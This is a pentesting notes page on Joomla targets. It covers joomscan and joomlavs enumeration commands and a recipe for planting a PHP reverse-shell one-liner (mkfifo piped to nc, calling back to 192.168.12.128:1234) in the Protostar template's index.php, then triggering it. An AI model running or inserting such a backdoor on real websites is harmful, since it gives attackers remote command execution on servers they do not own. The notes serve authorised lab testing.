> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/80-http/joomla.md).

# Joomla

**#Joomscan**

joomscan --url 192.168.12.130 -ec

**#Protostar revshell** (Authenticated)

\[1]From dashboard locate Templates → Protostar → index.php

edit the top of index.php and add a reverse shell one liner

`system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.12.128 1234 >/tmp/f');`

\[2]Start nc listener port 1234

\[3]Trigger revshell:      ....../joomla/templates/protostar/html

**#joomlaVS**

Install dependencies: 

`sudo apt-get install build-essential patch`

`sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libcurl4-openssl-dev`

sudo git clone<https://github.com/rastating/joomlavs.git>

`Usage:`

```
$ joomlavs --url www.target.com -v

# Enumeration
$ joomlavs --url www.target.com -a # All
$ joomlavs --url www.target.com -c # Components
$ joomlavs --url www.target.com -m # Modules
$ joomlavs --url www.target.com -t # Templates
$ joomlavs --url www.target.com -q # Quiet-passive mode

```